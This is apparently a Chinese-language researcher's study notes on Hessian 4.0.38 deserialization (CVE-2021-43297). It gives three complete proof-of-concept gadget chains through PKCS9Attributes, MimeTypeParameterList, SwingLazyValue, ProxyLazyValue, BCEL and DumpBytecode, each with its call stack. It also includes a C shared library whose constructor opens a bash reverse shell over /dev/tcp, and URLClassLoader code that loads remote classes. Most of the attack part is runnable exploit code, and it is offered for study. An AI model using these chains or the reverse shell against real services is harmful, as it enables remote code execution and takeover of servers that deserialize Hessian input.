<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.38</version>
</dependency>
hessian的依赖
项目在:K:\javafile\hessian2tiaoshi
第一条链子 CVE-2021-43297
漏洞在com.caucho.hessian.io.Hessian2Input#expect()
这里
并且有readObject()操作,接着一个String拼接,会调用toString
并且发现在com.caucho.hessian.io.Hessian2Input#readString()
中就有expect()
的调用
只需要取上面没有条件的case就行了
这里取case 67的时候调用 readObjectDefinition 方法进入readString 直接baos写进去就可以了:
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
baos.write(67);
output.writeObject(evilClass);
output.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
调用栈如下:
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)
所以我们现在的目的就是找一个tostring开头通的链子。
PKCS9Attributes+SwingLazyValue+JavaWrapper._mian
toString方法—>getAttribute
进入getAttribute方法看一下(会调用Hashtable.get方法)
PKCS9Attributes (sun.security.pkcs)getAttribute—->Hashtable.ge
javax.swing.UIDefaluts#get—->getFromHashtable
javax.swing.UIDefaluts#getFromHashtable—–>LazyValue#createValue
sun.swing.SwingLazyValue
其实上面的调用完全是为了配合这个的调用,因为它有invoke方法呀,无敌!!!
接下来就是找一个类,调用其静态public方法,找到:com.sun.org.apache.bcel.internal.util.JavaWrapper
的_mian
方法
开始调试从底部
发现是一个bcel classloader,从逻辑可以看出来是加载指定类的_main方法
需要注意的是,ClassLoader#defineClass返回的类并不会初始化,只有这个对象显式地调用其构造函数初始化代码才能被执行,所以我们需要想办法调用返回的类的构造函数才能执行命令。上面正好存在了invoke就不用担心了
public class payload {
public static void main(String[] args) throws Exception {
JavaClass evil = Repository.lookupClass(test.class);
String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);
String[] str=new String[8];
str[0]=payload;
JavaWrapper._main(str);
}
}
考虑如何invoke调用_main方法
sun.swing.SwingLazyValue(初始方法,类方法参数直接传值美滋滋)
public Object createValue(UIDefaults var1) {
try {
ReflectUtil.checkPackageAccess(this.className);
Class var2 = Class.forName(this.className, true, (ClassLoader)null);
Class[] var3;
if (this.methodName != null) {
var3 = this.getClassArray(this.args);
Method var6 = var2.getMethod(this.methodName, var3);
this.makeAccessible(var6);
return var6.invoke(var2, this.args);
//_main.invoke(JavaWrapper,new Object{})
} else {
var3 = this.getClassArray(this.args);
Constructor var4 = var2.getConstructor(var3);
this.makeAccessible(var4);
return var4.newInstance(this.args);
}
} catch (Exception var5) {
return null;
}
}
public class payload {
public static void main(String[] args) throws Exception {
JavaClass evil = Repository.lookupClass(test.class);
String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);
String[] str=new String[8];
str[0]=payload;
SwingLazyValue main = new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{str});
UIDefaults uiDefaults=new UIDefaults();
main.createValue(uiDefaults);
// JavaWrapper._main(str);
}
}
继续往上面找谁调用了createValue
UIDefaults()的父类是Hashtable,但是这样压根获取不到 key name 的value值
脑子抽了,都父类了,子调父类方法呗,压根不是一个实例对象(怎么可能调用到)
谁调用了Hashtale的get方法
控制attributes的值即可,但是看了看构造方法并没有可控,反射???
就是卡在了如何获得构造方法这里( 看师傅们用了反射构造器的方法)
相当于先构造了一个Object的,然后反射到指定的类(🐂)
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
最后的poc
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
public class Hessian_PKCS9Attributes_SwingLazyValue_JavaWrapper {
public static void main(String[] args) throws Exception {
PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();
JavaClass evil = Repository.lookupClass(test.class);
String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));
setFieldValue(s,"attributes",uiDefaults);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(s);
out.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
调用栈:
runMain:131, JavaWrapper (com.sun.org.apache.bcel.internal.util)
_main:153, JavaWrapper (com.sun.org.apache.bcel.internal.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
getAttribute:265, PKCS9Attributes (sun.security.pkcs)
toString:334, PKCS9Attributes (sun.security.pkcs)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)
public class test {
public static void _main(String[] argv) throws Exception {
Runtime.getRuntime().exec("calc");
}
}
(第二条链子)MimeTypeParameterList+SwingLazyValue+MethodUtil.invoke
大佬们又找到了另外一条链,javax.activation.MimeTypeParameterList
同样的Hashtable同样的get
只不过末尾用的MethodUtil#invoke,不是BCEL加载器
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class Hessian_MimeTypeParameterList_SwingLazyValue_MethodUtil {
public static void main(final String[] args) throws Exception {
UIDefaults uiDefaults = new UIDefaults();
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}});
uiDefaults.put("key", slz);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList,"parameters",uiDefaults);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
baos.write(67);
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(mimeTypeParameterList);
output.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
其他链子没变(感兴趣的师傅们可以细跟一下)
invoke:275, MethodUtil (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
toString:253, MimeTypeParameterList (javax.activation)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)
MimeTypeParameterList+ProxyLazyValue+DumpBytecode.dumpBytecode+System.load(第三条链子)
先普及一点知识
#include <stdlib.h>
#include <stdio.h>
void __attribute__ ((__constructor__)) aasdnqwgasdela1 (){
system("echo '/bin/bash -i >& /dev/tcp/xxxxxxxx/9998 0>&1' > /tmp/1");
system("/bin/bash /tmp/1");
}
然后System.load 执行就行了
gcc -c a.c -o a && gcc a –share -o a.so
好神奇,之前在学jni的时候用过load,但只是把dllc中的代码加载进来,没想到so可以直接执行,动态链接库。
这条链子仔细调一下,主要是想知道为什么classloader加载不到别的jar包呢
dumpBytecode:107, DumpBytecode (jdk.nashorn.internal.codegen)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
run:1108, UIDefaults$ProxyLazyValue$1 (javax.swing)
doPrivileged:-1, AccessController (java.security)
createValue:1087, UIDefaults$ProxyLazyValue (javax.swing)
//下面的都是前面的demo直接拿来用
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
toString:290, MimeTypeParameterList (java.awt.datatransfer)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)
果真加载不到
咦我不懂了(✌们说是加载器的原因,)
可以发现class.forName(null)类加载器为null的时候加载不到(这里先停一下看的文章还没太看懂)
大概是forName加载,true会加载类的static静态方法,null默认是类加载器,只能加载器加载本包中的类。
但是因为ClassLoader的原因 ,在SwingLazyValue这里只能加载 rt.jar 里面的类,而DumpBytecode类在 nashorn.jar 里面
最后找到ProxyLazyValue.createValue
因为在这里必须要是LazyValue的类型
然后看实现类,UIDefaults的内置类ProxyLazyvalue中的#createValue方法
它这里指定了加载器,然后invoke所以肯定能加载到的
这里获取到classLoader ,所以就能正常加载nashorn.jar了,但由于 Hessian 序列化的机制,ProxyLazyValue里面的 field acc 在反序列化过程中会报错 , 所以需要将 acc 反射设置为null
我们可以写一个文件名为.class的so文件,然后使用System.load加载,因为System.load不管后缀是什么都可以执行
jdk.nashorn.internal.codegen.DumpBytecode#dumpBytecode
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import jdk.nashorn.internal.runtime.ScriptEnvironment;
import jdk.nashorn.internal.runtime.logging.DebugLogger;
import sun.misc.Unsafe;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Hessian_MimeTypeParameterList_ProxyLazyValue_DumpBytecode {
public static void main(String[] args) throws Exception {
Unsafe unsafe = getUnsafe();
Object script = unsafe.allocateInstance(ScriptEnvironment.class);
setFieldValue(script,"_dest_dir","/tmp/");
Object debug=unsafe.allocateInstance(DebugLogger.class);
byte[] code= Files.readAllBytes(Paths.get("./calc.so"));
String classname="calc";
//写文件
UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("jdk.nashorn.internal.codegen.DumpBytecode", "dumpBytecode", new Object[]{
script,
debug,
code,
classname
});
//System.load加载so文件
// UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("java.lang.System", "load", new Object[]{
// "/tmp/calc.class"
// });
setFieldValue(proxyLazyValue,"acc",null);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("key", proxyLazyValue);
Class clazz = Class.forName("java.awt.datatransfer.MimeTypeParameterList");
Object mimeTypeParameterList = unsafe.allocateInstance(clazz);
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(mimeTypeParameterList);
out.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Unsafe getUnsafe() throws Exception{
Class<?> aClass = Class.forName("sun.misc.Unsafe");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
Unsafe unsafe= (Unsafe) declaredConstructor.newInstance();
return unsafe;
}
}
dumpBytecode:107, DumpBytecode (jdk.nashorn.internal.codegen)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
run:1108, UIDefaults$ProxyLazyValue$1 (javax.swing)
doPrivileged:-1, AccessController (java.security)
createValue:1087, UIDefaults$ProxyLazyValue (javax.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
toString:290, MimeTypeParameterList (java.awt.datatransfer)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)
先上传so文件,然后在load加载
浅析一下BCEL表达式
BCEL全名 Apache Commons BCEL,属于Apache Commons项目下的一个子项目。
BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。
在Java 8u251以后,就被删除了。
BCEL包中有个com.sun.org.apache.bcel.internal.util.ClassLoader
,她是一个ClassLoader,但是她重写了Java内置的ClassLoader#loadClass()方法
如果存在 ``字符串就进入createClass方法
总结
其实BCEL和其他类加载器的区别主要是,有一个自己的加密、解密逻辑,但是最后依旧是defineClas加载字节码
$$BCEL$$ 在之前加任何字符都不会影响
利用URLClassLoader加载远程class文件
1、URL未以斜杠/结尾,则认为是一个JAR文件,使用 JarLoader
来寻找类,即为在Jar包中寻找.class
文件(jar文件中直接包含class文件,可以使用命令 jar cvf Exp.jar Exp.class
进行打包)。
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class loadClassFile {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8000/Exp.jar")});
// 会加载 http://127.0.0.1:8000/Exp.jar中的Exp.class
Class<?> exp = urlClassLoader.loadClass("Exp");
// 触发构造函数,弹计算器
exp.newInstance();
}
}
2、URL以斜杠/结尾,且协议名是 file
,则使用 FileLoader
来寻找类,即为在本地文件系统中寻找.class
文件。
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class loadClassFile {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:/Users/d4m1ts/d4m1ts/java/classloader/")});
// 会加载 /Users/d4m1ts/d4m1ts/java/classloader/Exp.class
Class<?> exp = urlClassLoader.loadClass("Exp");
// 触发构造函数,弹计算器
exp.newInstance();
}
}
3、URL以斜杠/结尾,且协议名不是 file
,则使用最基础的 Loader
来寻找类.class
文件。
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class loadClassFile {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8000/")});
// 会加载 http://127.0.0.1:8000/Exp.class
Class<?> exp = urlClassLoader.loadClass("Exp");
// 触发构造函数,弹计算器
exp.newInstance();
}
}
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。